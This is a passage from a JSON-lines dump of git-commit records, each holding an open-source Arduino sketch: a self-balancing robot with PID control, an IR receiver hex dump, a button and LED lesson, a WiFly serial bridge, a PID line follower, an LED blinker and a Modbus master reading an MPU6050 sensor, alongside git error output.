131.0\n#define RAD_TO_DEG 57.295779\n\n#define BAUDIOS 115200\n\n#define ITERM_MAX_ERROR 25 \/\/ Iterm windup constants for PI control \/\/40\n#define ITERM_MAX 8000 \/\/ 5000\n\n#define MICROSTEPPING 16 \/\/ 8 or 16 for 1\/8 or 1\/16 driver microstepping (default:16)\n\n#define CLR(x,y) (x&=(~(1<<y)))\n#define SET(x,y) (x|=(1<<y))\n\n#define ZERO_SPEED 65536 \/\/ 65535 se trata de la frecuencia m\u00e1xima en 8bits\n\n\/\/ VARIABLES PARA EL anguloPID\n\n#define MAX_CONTROL_SALIDA 100 \/\/500 maximo de velocidad de salida\n\n#define MAXIMO_ANGULO_OBJETIVO -5.5 \/\/12\n#define MAXIMA_ACELERACION 580 \/\/ MAX RECOMMENDED VALUE: 8) (default:7)\n#define MAXIMA_DIRECCION 150\n\n#define KP 0.175 \/\/0.20\n#define KD 11.5 \/\/20\n#define KP_THROTTLE 0\n#define KI_THROTTLE 0\n#define LED 13\n\nbool Robot_tumbado = false; \/\/ Robot tumbado flag => Out of\nint16_t AcX, AcY, AcZ, GyX, GyY, GyZ;\nfloat Acc[2];\nfloat Gy[2];\nfloat Angle[2];\nlong tiempo_antiguo;\nlong tiempo_valor;\nfloat dt;\nfloat angulo_recogido;\nfloat angulo_recogido_antiguo;\nfloat anguloPID_errorSuma;\nfloat anguloPID_errorVelociadAnterioriguo = 0;\nfloat anguloPID_errorVelociadAnterioriguo2 = 0;\nfloat velObjetivoAntiguo = 0;\nfloat angulo_objetivo;\nfloat acelerador;\nfloat direccion;\nfloat control_salida;\n\nint16_t motor_A;\nint16_t motor_B;\n\nint16_t velocidad_Motor_A;\nint16_t velocidad_Motor_B;\nuint8_t loop_counter;\nuint8_t slow_loop_counter;\n\n\/\/float Kp = KP;\n\/\/float Kd = KD;\n\nfloat Kp_thr = KP_THROTTLE;\nfloat Ki_thr = KI_THROTTLE;\n\n\nint8_t dir_Motor_A;\nint8_t dir_Motor_B; \/\/ Actual direction of steppers motors\nint16_t actual_robot_velocidad;\nint16_t actual_robot_velocidad_antiguo;\nfloat velocidad_estimada_filtered; \/\/ Estimated robot velocidad\n\nfloat Kp = 5;\nfloat Ki = 500;\nfloat Kd = 0.5;\nfloat Kps = 0.01;\nfloat Kis = 100;\nfloat Kds = 0.01;\n\n\nfloat integralSum, anguloPID_errorSum;\nfloat errorVelociadAnteriorerior, errorVelociadAnterior;\n#define ITERM_MAX_ERROR 25\n#define ITERM_MAX 8000\nint dir_M1 = 1, dir_M2 = 1; \/\/Direccion motores\nfloat timer_period1, timer_period2;\nint16_t speed_M1, speed_M2;\nfloat vel1 , vel2;\nfloat velocidadMedia;\nfloat velocidad;\nfloat giro;\nint velocidadDeseada;\nint V = 0;\n#define MAX_ACCEL 80\n#define VEL_MAX 500\nfloat tiempoActual, tiempo;\nint contador;\nfloat anguloActual, anguloObjetivo;\nfloat angulo, angObj;\n#define MAX_ANG -5.8\nfloat H = 0.5;\nfloat errorAnguloAnterior;\n\nvoid delay_1us()\n{\n __asm__ __volatile__ (\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\");\n}\n\n\/*********** SETUP ************* *\/\nvoid setup() {\n pinMode(23, OUTPUT); \/\/ DIR MOTOR_A PORTA,1\n pinMode(22, OUTPUT); \/\/ STEP MOTOR_A PORTA,0\n pinMode(25, OUTPUT); \/\/ DIR MOTOR_B PORTA,3\n pinMode(24, OUTPUT); \/\/ STEP MOTOR_B PORTA,2\n\n pinMode(26, OUTPUT); \/\/ ENABLE MOTORS PORTA,4\n\n pinMode(13, OUTPUT); \/\/LED\n\n digitalWrite(9, HIGH); \/\/ HIGH Deshabilitar motores\n\n Wire.begin();\n Wire.beginTransmission(MPU);\n Wire.write(0x6B);\n Wire.write(0);\n Wire.endTransmission(true);\n\n Serial.begin(BAUDIOS); \/\/ Serial salida to console\n\n Serial.println(\"Rob-Bat by Alienneo v.1.1\");\n Serial.println(\"Iniciando...\");\n\n \/\/ Gyro calibration\n \/\/ The robot must be steady during initialization\n delay(500);\n Serial.println(\"Gyro calibracion!! No mover en 10 segundos... \");\n delay(500);\n\n Serial.println(\"Iniciando motores...\");\n\n \/\/******************************************************\n cli();\n TCCR4A = 0; \/\/ Timer1 CTC mode 4\n TCCR4B = (1 << WGM42) | (1 << CS41); \/\/ Prescaler=256\n OCR4A = ZERO_SPEED; \/\/ Motor parado\n TCNT4 = 0;\n\n TCCR5A = 0; \/\/ Timer2 CTC mode 4\n TCCR5B = (1 << WGM52) | (1 << CS51); \/\/ Prescaler=256\n OCR5A = ZERO_SPEED; \/\/ Motor parado\n TCNT3 = 0;\n\n\n TIMSK4 |= (1 << OCIE4A);\n TIMSK5 |= (1 << OCIE5A);\n sei();\n\n} \/* ************ FINAL SETUP *************** *\/\n\n\n\/* ************ LOOP ***************** *\/\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ENCENDER LED\n\n tiempo_valor = millis();\n \/* ************ DATOS DEL ACELEROMETRO\/GIROSCOPIO *********************** *\/\n Wire.beginTransmission(MPU);\n Wire.write(0x3B);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 6, true);\n \n AcX = Wire.read() << 8 | Wire.read();\n AcY = Wire.read() << 8 | Wire.read();\n AcZ = Wire.read() << 8 | Wire.read();\n \n Acc[1] = atan(-1 * (AcX \/ A_R) \/ sqrt(pow((AcY \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n Acc[0] = atan((AcY \/ A_R) \/ sqrt(pow((AcX \/ A_R), 2) + pow((AcZ \/ A_R), 2))) * RAD_TO_DEG;\n \n Wire.beginTransmission(MPU);\n Wire.write(0x43);\n Wire.endTransmission(false);\n Wire.requestFrom(MPU, 4, true);\n \n GyX = Wire.read() << 8 | Wire.read();\n GyY = Wire.read() << 8 | Wire.read();\n \n Gy[0] = GyX \/ G_R;\n Gy[1] = GyY \/ G_R;\n \n Angle[0] = 0.98 * (Angle[0] + Gy[0] * 0.010) + 0.02 * Acc[0];\n Angle[1] = 0.98 * (Angle[1] + Gy[1] * 0.010) + 0.02 * Acc[1];\n \n \/\/Serial.print(\"Angle X: \"); Serial.print(Angle[0]); Serial.print(\"\\n\");\n \/\/Serial.print(\"Angle Y: \"); Serial.print(Angle[1]); \/\/ Angulo necesario\n delay(2);\n\n\n float tiempoAnterior = tiempoActual;\n tiempoActual = micros();\n float tiempoPasado = (tiempoActual - tiempoAnterior); \/\/tiempo pasado desde ciclo anterior en microsegundos\n tiempo = tiempoPasado \/ 1000; \/\/tiempo del ciclo en milisegundos\n anguloActual = Angle[1];\n\n float velo = ((vel1 + vel2) \/ 2);\n velocidadMedia = velo;\/\/0.95 * velocidadMedia + 0.05 * velo;\n angObj = -velocidadPID(tiempo, velocidadMedia, velocidadDeseada, Kps, Kis , Kds) ;\n anguloObjetivo = 0.02 * angObj + 0.98 * anguloObjetivo;\n anguloObjetivo = constrain (anguloObjetivo , -MAX_ANG, MAX_ANG);\n float resultadoanguloPID = anguloPID (anguloActual, anguloObjetivo, Kp, Kd, Ki, tiempo);\n\n\n\n if ((anguloActual < 55) && (anguloActual > -55)) \/\/ Esta el robot de pie????\n {\n if (anguloActual < (anguloObjetivo + H) && anguloActual > (anguloObjetivo - H) && (velocidad < V && velocidad > -V))\n {\n CLR(PORTA, 4);\n vel1 = 0 - giro ;\n vel2 = 0 + giro ;\n integralSum = 0;\n setSpeed_Motor_A(vel1);\n setSpeed_Motor_B(vel2);\n } else\n {\n CLR(PORTA, 4);\n velocidad = resultadoanguloPID;\n vel1 = velocidad + giro ;\n vel2 = velocidad - giro ;\n vel1 = constrain(vel1, -VEL_MAX, VEL_MAX);\n vel2 = constrain(vel2, -VEL_MAX, VEL_MAX);\n setSpeed_Motor_A(vel1);\n setSpeed_Motor_B(vel2);\n }\n }\n else\n {\n SET(PORTA, 4);\n setSpeed_Motor_A(0);\n setSpeed_Motor_B(0);\n integralSum = 0;\n anguloPID_errorSum = 0;\n }\n\n}\/* ************** FINAL LOOP ******************** *\/\n\n\/\/ TIMER 4 : STEPPER MOTOR_A SPEED CONTROL ********* ISR ****************\nISR(TIMER4_COMPA_vect) \/\/16bits\n{\n SET(PORTA, 0); \/\/ STEP MOTOR A\n delay_1us();\n delay_1us();\n CLR(PORTA, 0);\n}\n\/\/TIMER 5 : STEPPER MOTOR_B SPEED CONTROL\nISR(TIMER5_COMPA_vect) \/\/16bits\n{\n SET(PORTA, 2); \/\/ STEP MOTOR B\n delay_1us();\n delay_1us();\n CLR(PORTA, 2);\n}\n\/* ******************************************************************** *\/\n\/* **************** setSpeed_Motor_A ******************* *\/\n\/* ******************************************************************** *\/\nvoid setSpeed_Motor_A(int16_t tspeed)\n{\n long timer_period;\n int16_t speed;\n\n \/\/ Limit max speed?\n\n \/\/ WE LIMIT MAX ACCELERATION of the motors\n if ((velocidad_Motor_A - tspeed) > MAXIMA_ACELERACION)\n velocidad_Motor_A -= MAXIMA_ACELERACION;\n else if ((velocidad_Motor_A - tspeed) < -MAXIMA_ACELERACION)\n velocidad_Motor_A += MAXIMA_ACELERACION;\n else\n velocidad_Motor_A = tspeed;\n\n#if MICROSTEPPING==16\n speed = velocidad_Motor_A * 46; \/\/ Adjust factor from control output speed to real motor speed in steps\/second\n#else\n speed = velocidad_Motor_A * 23; \/\/ 1\/8 Microstepping\n#endif\n\n if (speed == 0)\n {\n timer_period = ZERO_SPEED;\n dir_Motor_A = 0;\n }\n else if (speed > 0)\n {\n timer_period = 2000000 \/ speed; \/\/ 2Mhz timer\n dir_Motor_A = 1;\n SET(PORTA, 1); \/\/ DIR Motor 1 (Forward)\n }\n else\n {\n timer_period = 2000000 \/ -speed;\n dir_Motor_A = -1;\n CLR(PORTA, 1); \/\/ Dir Motor 1\n }\n if (timer_period > 65535) \/\/ Check for minimun speed (maximun period without overflow)\n timer_period = ZERO_SPEED;\n \/\/Serial.println(timer_period);\n OCR4A = timer_period;\n \/\/ Check if we need to reset the timer...\n if (TCNT4 > OCR4A)\n TCNT4 = 0;\n\n \/* ******************************************************************** *\/\n \/* **************** setSpeed_Motor_B ******************* *\/\n \/* ******************************************************************** *\/\n} void setSpeed_Motor_B(int16_t tspeed)\n{\n long timer_period;\n int16_t speed;\n\n \/\/ Limit max speed?\n\n \/\/ WE LIMIT MAX ACCELERATION of the motors\n if ((velocidad_Motor_B - tspeed) > MAXIMA_ACELERACION)\n velocidad_Motor_B -= MAXIMA_ACELERACION;\n else if ((velocidad_Motor_B - tspeed) < -MAXIMA_ACELERACION)\n velocidad_Motor_B += MAXIMA_ACELERACION;\n else\n velocidad_Motor_B = tspeed;\n\n#if MICROSTEPPING==16\n speed = velocidad_Motor_B * 46; \/\/ Adjust factor from control output speed to real motor speed in steps\/second\n#else\n speed = velocidad_Motor_B * 23; \/\/ 1\/8 Microstepping\n#endif\n\n if (speed == 0)\n {\n timer_period = ZERO_SPEED;\n dir_Motor_B = 0;\n }\n else if (speed > 0)\n {\n timer_period = 2000000 \/ speed; \/\/ 2Mhz timer\n dir_Motor_B = 1;\n SET(PORTA, 3); \/\/ DIR Motor 1 (Forward)\n }\n else\n {\n timer_period = 2000000 \/ -speed;\n dir_Motor_B = -1;\n CLR(PORTA, 3); \/\/ Dir Motor 1\n }\n if (timer_period > 65535) \/\/ Check for minimun speed (maximun period without overflow)\n timer_period = ZERO_SPEED;\n \/\/Serial.println(timer_period);\n OCR5A = timer_period;\n \/\/ Check if we need to reset the timer...\n if (TCNT5 > OCR5A)\n TCNT5 = 0;\n}\n\n\/* ******************************************************************** *\/\n\/* **************** CONTROL anguloPID (B-ROBOT) ******************* *\/\n\/* ******************************************************************** *\/\n\nfloat anguloPID (float anguloActual, float anguloDeseado, float Kp, float Kd, float Ki, float tiempo) {\n\n float errorAnguloActual;\n float anguloCalculado;\n\n errorAnguloActual = anguloDeseado - anguloActual;\n\n float propAng = Kp * errorAnguloActual;\/\/ * 0.1;\n float inteAng = Ki * integralSum * tiempo;\/\/ * 0.001;\n float deriAng = Kd * Gy[0] \/ tiempo ;\n\n\n anguloCalculado = propAng + inteAng + deriAng;\n errorAnguloAnterior = errorAnguloActual;\n\n\/\/ Serial.print(\"anguloActual: \");\n\/\/ Serial.print(anguloActual);\n\/\/ Serial.print(\" anguloDeseado: \");\n\/\/ Serial.print(anguloDeseado);\n\/\/ Serial.print(\" errorAnguloActual: \");\n\/\/ Serial.print(errorAnguloActual);\n\/\/ Serial.print(\" errorAnguloAnterior: \");\n\/\/ Serial.print(errorAnguloAnterior);\n Serial.print(\" propAng: \");\n Serial.print(propAng);\n Serial.print(\" inteAng: \");\n Serial.print(inteAng);\n Serial.print(\" deriAng: \");\n Serial.print(deriAng);\n Serial.print(\" anguloCalculado: \");\n Serial.println(anguloCalculado);\n\n return (anguloCalculado);\n}\n\n\n\nfloat velocidadPID(float DT, float velMedia, float velObjetivo, float Kp, float Ki, float Kd)\n{\n float errorVelocidadActual;\n float velocidadCalculada;\n\n errorVelocidadActual = velObjetivo - velMedia;\n\n \/\/ anguloPID_errorSum += constrain(errorVelocidadActual, -ITERM_MAX_ERROR, ITERM_MAX_ERROR);\n \/\/ anguloPID_errorSum = constrain(anguloPID_errorSum, -ITERM_MAX, ITERM_MAX);\n\n \/\/Serial.println(anguloPID_errorSum);\n float propVel = Kp * errorVelocidadActual;\n float integVel = Ki * anguloPID_errorSum * DT * 0.001;\n float deriVel = Kd * (errorVelocidadActual - errorVelociadAnterior) \/ DT;\n\n velocidadCalculada = propVel + integVel + deriVel;\n errorVelociadAnterior = errorVelocidadActual;\n\n return (velocidadCalculada);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MAIN_ARDUINO_MEGA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"929ce88110e7add2cb18c4992a2a52fcc261af93","subject":"Create IR_HEXDump.ino","message":"Create IR_HEXDump.ino","repos":"KeiTakagi\/IRControlReceiver","old_file":"exsamples\/IR_HEXDump\/IR_HEXDump.ino","new_file":"exsamples\/IR_HEXDump\/IR_HEXDump.ino","new_contents":"\/*\n\n @file IR_HEXDump.ino\n @brief \u53d7\u4fe1\u3057\u305f\u8d64\u5916\u7dda\u30c7\u30fc\u30bf\u309216\u9032\u6570\u3067\u8868\u793a\u3059\u308b\u30b5\u30f3\u30d7\u30eb\u30d7\u30ed\u30b0\u30e9\u30e0\n \u8d64\u5916\u7dda\u30ea\u30e2\u30b3\u30f3\u53d7\u4fe1\u30e2\u30b8\u30e5\u30fc\u30eb(Vout)\u306b\u63a5\u7d9a\u3059\u308bArduino\u5074\u306e\u30d4\u30f3\u756a\u53f7\u306f2\u756a\u3067\u3059\u3002\n @author Kei Takagi\n @date 2016.1.16\n\n Copyright (c) 2016 Kei Takagi\n Released under the MIT license\n http:\/\/opensource.org\/licenses\/mit-license.php\n\n*\/\n\n#include <IRControlReceiver.h>\n\n\/\/ \u8d64\u5916\u7dda\u30ea\u30e2\u30b3\u30f3\u53d7\u4fe1\u30e2\u30b8\u30e5\u30fc\u30eb(Vout)\u306b\u63a5\u7d9a\u3059\u308bArduino\u5074\u306e\u30d4\u30f3\u756a\u53f7\u306f2\u756a\nIRControlReceiver ir(2);\n\nvoid setup() {\n Serial.begin(9600) ; \/\/ \u30b7\u30ea\u30a2\u30eb\u901a\u4fe1\u8a2d\u5b9a\uff1a9600bps\n}\n\nvoid loop() {\n int i = 0;\n int ret = 0;\n\n \/\/ \u8d64\u5916\u7dda\u30ea\u30e2\u30b3\u30f3\u30c7\u30fc\u30bf\u306e\u53d7\u4fe1\u9818\u57df\u3092\u5ba3\u8a00\n unsigned char ir_dat[IRControlReceiver::IR_DATA_MAX_BYTE];\n\n \/\/ \u8d64\u5916\u7dda\u30ea\u30e2\u30b3\u30f3\u30c7\u30fc\u30bf\u306e\u53d7\u4fe1\n ret = ir.receive(ir_dat);\n if (ret > 0) {\n \/\/\u53d7\u4fe1\u3057\u305f\u8d64\u5916\u7dda\u30ea\u30e2\u30b3\u30f3\u30c7\u30fc\u30bf\u309216\u9032\u6570\u3067\u8868\u793a\n Serial.print(\"IR:HEX[\");\n for ( i = 0; i < IRControlReceiver::IR_DATA_MAX_BYTE; i++) {\n if ( *(ir_dat + i) <= 0x0F )Serial.print('0');\n Serial.print(*(ir_dat + i), HEX);\n }\n Serial.println(\"]\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exsamples\/IR_HEXDump\/IR_HEXDump.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e778b3a10944c5ebda9d6922fffe3f258b75afa","subject":"Create fixed_acute_with_rotation.ino","message":"Create fixed_acute_with_rotation.ino","repos":"Electroscholars\/LineFollower","old_file":"Left Turn and Stop Fixed\/PDFollower\/fixed_acute_with_rotation.ino","new_file":"Left Turn and Stop Fixed\/PDFollower\/fixed_acute_with_rotation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/LineFollower.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bb3bb77a10be8b787eb0f8000c50c4875e0405ca","subject":"first file for class 2","message":"first file for class 2\n","repos":"sbma44\/arduino_class","old_file":"lesson-2\/simple_digital_input.ino","new_file":"lesson-2\/simple_digital_input.ino","new_contents":"int buttonPin = 4;\nint ledPin = 13;\n\nvoid setup() {\n \/\/ set pin 4 for input, pin 13 for output\n pinMode(buttonPin, INPUT);\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ read input\n int reading = digitalRead(buttonPin);\n\n \/\/ turn LED on or off, depending\n if (reading==HIGH){\n digitalWrite(ledPin, HIGH);\n }\n else {\n digitalWrite(ledPin, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lesson-2\/simple_digital_input.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86798f9ad30430f6f8cdfc2c9dfa0ffb3dae3edc","subject":"Initial WiFlySetup commit","message":"Initial WiFlySetup commit\n","repos":"Rosebotics\/rosebot-arduino-library,Rosebotics\/rosebot-arduino-library,Rosebotics\/rosebot-arduino-library","old_file":"libraries\/WiFlySetup\/WiFlySetup.ino","new_file":"libraries\/WiFlySetup\/WiFlySetup.ino","new_contents":"\/*\n This sketch is used to set the WiFly Board in preparation for the RedBot to communicate wirelessly to your computer. \n\nOnce this sketch is uploaded to your board then follow the setup procedure detailed at:\nhttps:\/\/learn.sparkfun.com\/tutorials\/wifly-shield-hookup-guide#connecting-to-a-network\n\n \n Receives from the hardware serial, sends to software serial.\n Receives from software serial, sends to hardware serial.\n\n The circuit:\n * RX is digital pin 15 (connect to TX of other device)\n * TX is digital pin 14 (connect to RX of other device)\n\n\n created back in the mists of time\n modified 25 May 2012\n by Tom Igoe\n based on Mikal Hart's example\n\n This example code is in the public domain.\n\n *\/\n\n#include <SoftwareSerial.h>\n\nSoftwareSerial WiflySerial(15, 14); \/\/ RX, TX pins of the RedBot board\n\nvoid setup()\n{\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600); \/\/Initially your Wifly board will be set at a baudrate of 9600\n\n \/\/ set the data rate for the SoftwareSerial port\n WiflySerial.begin(9600);\/\/Initially your Wifly board will be set at a baudrate of 9600\n}\n\nvoid loop() \/\/ run over and over\n{\n if (WiflySerial.available())\n Serial.write(WiflySerial.read());\n if (Serial.available())\n WiflySerial.write(Serial.read());\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/WiFlySetup\/WiFlySetup.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa5b202bf6f85a65e9f310b1a813060d60e0afe5","subject":"Working linefollower_2 with pids","message":"Working linefollower_2 with pids\n","repos":"air0046\/DVA119-Robot,air0046\/DVA119-Robot","old_file":"linefollower_2\/linefollower_2.ino","new_file":"linefollower_2\/linefollower_2.ino","new_contents":"\/\/ Include libraries:\n#include <Adafruit_MotorShield.h>\n#include <lenlib.h>\n#include <Wire.h>\n#include <Servo.h>\n#include \"utility\/Adafruit_PWMServoDriver.h\"\n\/\/42,1,150 @ 110\n\/\/30,1.05,0 @ 60\n\/\/float Kp=17,Ki=3.8,Kd=0.0;\nint loopDelay = 0;\nfloat Kp=16,Ki=0,Kd=15;\/\/15\nfloat error=0, P=0, I=0, D=0, PID_value=0;\nfloat previous_error=0, previous_I=0;\nint sensor[3]={0, 0, 0};\nint initial_motor_speed=50;\nint lessThan = 20;\nvoid read_sensor_values(void);\nvoid calculate_pid(void);\nvoid motor_control(void);\n\n\/\/myMotors Motors; \/\/ Create Motors object\nmySensors Sensors; \/\/ Create Sensors object\nmyMotors Motors;\n\/\/Adafruit_MotorShield AFMS = Adafruit_MotorShield();\n\/\/Adafruit_DCMotor *myMotor1 = AFMS.getMotor(1);\n\/\/Adafruit_DCMotor *myMotor2 = AFMS.getMotor(2);\n\n\n\/\/ Create the motor shield object with the default I2C address\n\/\/ Adafruit_MotorShield AFMS = Adafruit_MotorShield();\n\/\/\n\/\/ Adafruit_DCMotor *myMotor1 = AFMS.getMotor(1);\n\/\/ Adafruit_DCMotor *myMotor2 = AFMS.getMotor(2);\n\nvoid setup()\n{\n Serial.begin(9600); \/\/Enable Serial Communications\n\n Motors.beginMotors(); \/\/ Start motors\n \/\/AFMS.begin();\n Sensors.beginSensors(); \/\/ Start sensors\n\n delay(1000);\n}\n\nvoid loop()\n{\n read_sensor_values();\n calculate_pid();\n motor_control();\n \/\/\n \/\/ Serial.print(\"Sensor0: \");\n \/\/ Serial.print(sensor[0]);\n \/\/ Serial.print(\"\\tSensor1: \");\n \/\/ Serial.print(sensor[1]);\n \/\/ Serial.print(\"\\tSensor2: \");\n \/\/ Serial.println(sensor[2]);\n\n delay(loopDelay);\n}\n\nvoid read_sensor_values()\n{\n sensor[0]=Sensors.readReflect0();\n sensor[1]=Sensors.readReflect1();\n sensor[2]=Sensors.readReflect2();\n\n if((sensor[0]==0)&&(sensor[1]==0)&&(sensor[2]==1))\/\/&&(sensor[4]==0)&&(sensor[4]==1))\n error=2;\n else if((sensor[0]==0)&&(sensor[1]==1)&&(sensor[2]==1))\n error=1;\n else if((sensor[0]==0)&&(sensor[1]==1)&&(sensor[2]==0))\/\/&&(sensor[4]==1)&&(sensor[4]==0))\n error=0;\n else if((sensor[0]==1)&&(sensor[1]==1)&&(sensor[2]==0))\/\/&&(sensor[4]==1)&&(sensor[4]==0))\n error=-1;\n else if((sensor[0]==1)&&(sensor[1]==0)&&(sensor[2]==0))\/\/&&(sensor[4]==0)&&(sensor[4]==0))\n error=-2;\n else if((sensor[0]==0)&&(sensor[1]==0)&&(sensor[2]==0))\/\/&&(sensor[4]==0)&&(sensor[4]==0))\n if(error==-2) error=-2;\n else error=2;\n}\n\nvoid calculate_pid()\n{\n P = error;\n I = I + previous_I;\n D = error-previous_error;\n\n PID_value = (Kp*P) + (Ki*I) + (Kd*D);\n\n previous_I=I;\n previous_error=error;\n}\n\nvoid motor_control()\n{\n \/\/ Calculating the effective motor speed:\n int left_motor_speed = initial_motor_speed-PID_value;\n int right_motor_speed = initial_motor_speed+PID_value;\n\n \/\/ The motor speed should not exceed the max PWM value\n constrain(left_motor_speed,0,255);\n constrain(right_motor_speed,0,255);\n\n \/\/ Serial.print(\"Left Motor Speed: \");\n \/\/ Serial.print(left_motor_speed);\n \/\/ Serial.print(\"\\tRight Motor Speed: \");\n \/\/ Serial.println(right_motor_speed);\n if(left_motor_speed < lessThan){\n Motors.runMotor(2,BACKWARD,initial_motor_speed*2.2); \/\/ Left motor Speed\n Motors.runMotor(1,FORWARD,right_motor_speed); \/\/Right motor Speed\n }\n else if(right_motor_speed < lessThan){\n Motors.runMotor(1,BACKWARD,initial_motor_speed*2.2); \/\/ Left motor Speed\n Motors.runMotor(2,FORWARD,right_motor_speed); \/\/Right motor Speed\n }\n else{\n Motors.runMotor(2,FORWARD,left_motor_speed); \/\/ Left motor Speed\n Motors.runMotor(1,FORWARD,right_motor_speed); \/\/Right motor Speed\n }\n \/\/analogWrite(9,initial_motor_speed-PID_value); \/\/Left Motor Speed\n \/\/analogWrite(10,initial_motor_speed+PID_value); \/\/Right Motor Speed\n \/\/myMotor1->setSpeed(initial_motor_speed-PID_value);\n \/\/myMotor2->setSpeed(initial_motor_speed+PID_value);\n\n \/\/following lines of code are to make the bot move forward\n \/*The pin numbers and high, low values might be different\n depending on your connections *\/\n \/\/ digitalWrite(4,HIGH);\n \/\/ digitalWrite(5,LOW);\n \/\/ digitalWrite(6,LOW);\n \/\/ digitalWrite(7,HIGH);\n \/\/myMotor1->run(FORWARD);\n \/\/myMotor2->run(FORWARD);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'linefollower_2\/linefollower_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"123bcf87ad0335d175f85b11a39befa1e86e628a","subject":"Added TIP122 example.","message":"Added TIP122 example.\n","repos":"futureshocked\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs,billdwp\/arduino_sbs,iNNPL\/arduino_sbs,merbok\/arduino_sbs,billdwp\/arduino_sbs,futureshocked\/arduino_sbs,iNNPL\/arduino_sbs","old_file":"TIP122\/TIP122.ino","new_file":"TIP122\/TIP122.ino","new_contents":"const int led_pin = 13;\nlong randOn = 0;\nlong randOff = 0;\n\nvoid setup()\n{\n randomSeed(analogRead(0));\n pinMode(led_pin,OUTPUT); \n}\n\nvoid loop()\n{\n randOn = random(50,500); \n randOff = random(50,500);\n digitalWrite(led_pin,HIGH);\n delay(randOn);\n digitalWrite(led_pin,LOW );\n delay(randOff);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TIP122\/TIP122.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4bcf9b82c1aac5bf476818f11122ab5e5c5ef85","subject":"Create modbus_master_rs485_gyroMPU6050.ino","message":"Create modbus_master_rs485_gyroMPU6050.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"modbus_master_rs485_gyroMPU6050.ino","new_file":"modbus_master_rs485_gyroMPU6050.ino","new_contents":"\n#include <SimpleModbusMaster.h>\n#include \"I2Cdev.h\"\n#include \"MPU6050.h\"\n\n\n#include \"Wire.h\"\n\n#define baud 9600\n#define timeout 1000\n#define polling 200 \/\/ the scan rate\n#define retry_count 10\n\n\/\/ used to toggle the receive\/transmit pin on the driver\n#define TxEnablePin 2 \n\n#define LED 9\n\n\/\/ The total amount of available memory on the master to store data\n#define TOTAL_NO_OF_REGISTERS 16\n\n\nenum\n{\n PACKET1,\n PACKET2,\n TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\n\n\/\/ Create an array of Packets to be configured\nPacket packets[TOTAL_NO_OF_PACKETS];\n\n\/\/ Masters register array\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\n\n\nint val1 = 0;\nint val2 = 0;\nint val3 = 0;\nint val4 = 0;\nlong values []= {0,0,0,0};\n\nint accel_angle1;\n\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n#define LED_PIN 13\nbool blinkState = false;\n\n\/\/ accelerometer values\nint accel_reading;\nint accel_corrected;\nint accel_readingy;\nint accel_correctedy;\nint accel_offset = 200;\nfloat accel_angle;\nfloat accel_angley;\nfloat accel_scale = 1; \/\/ set to 0.01\n\n\/\/ gyro values\nint gyro_offset = 151; \/\/ 151\nint gyro_corrected;\nint gyro_reading;\nfloat gyro_rate;\nfloat gyro_scale = 0.02; \/\/ 0.02 by default - tweak as required\nfloat gyro_angle;\nfloat loop_time = 0.05; \/\/ 50ms loop\nfloat angle = 0.00; \/\/ value to hold final calculated gyro angle\n\n\/\/ time stamp variables\nint last_update;\nint cycle_time;\nlong last_cycle = 0;\n\n\n\n\n\nvoid setup() {\n\n Wire.begin();\n\/\/ initialize serial communication\nSerial.begin(9600);\n\n\nmodbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 0, 2, 0);\n \n \/\/ Initialize the Modbus Finite State Machine\n modbus_configure(&Serial, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n\n\/\/ initialize device\nSerial.println(\"Initializing I2C devices...\");\naccelgyro.initialize();\n\n\/\/ verify connection\nSerial.println(\"Testing device connections...\");\nSerial.println(accelgyro.testConnection() ? \"MPU6050 connection successful\" : \"MPU6050 connection failed\");\n\n\n\n\n \n}\n\n\nbyte old_level = 0;\n\nvoid loop() {\n \/\/ read raw accel\/gyro measurements from device\n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\n \/\/ accelerometer_X_Axis angle calc\n accel_reading = ax;\n accel_corrected = accel_reading - accel_offset;\n accel_corrected = map(accel_corrected, -16800, 16800, -90, 90);\n accel_corrected = 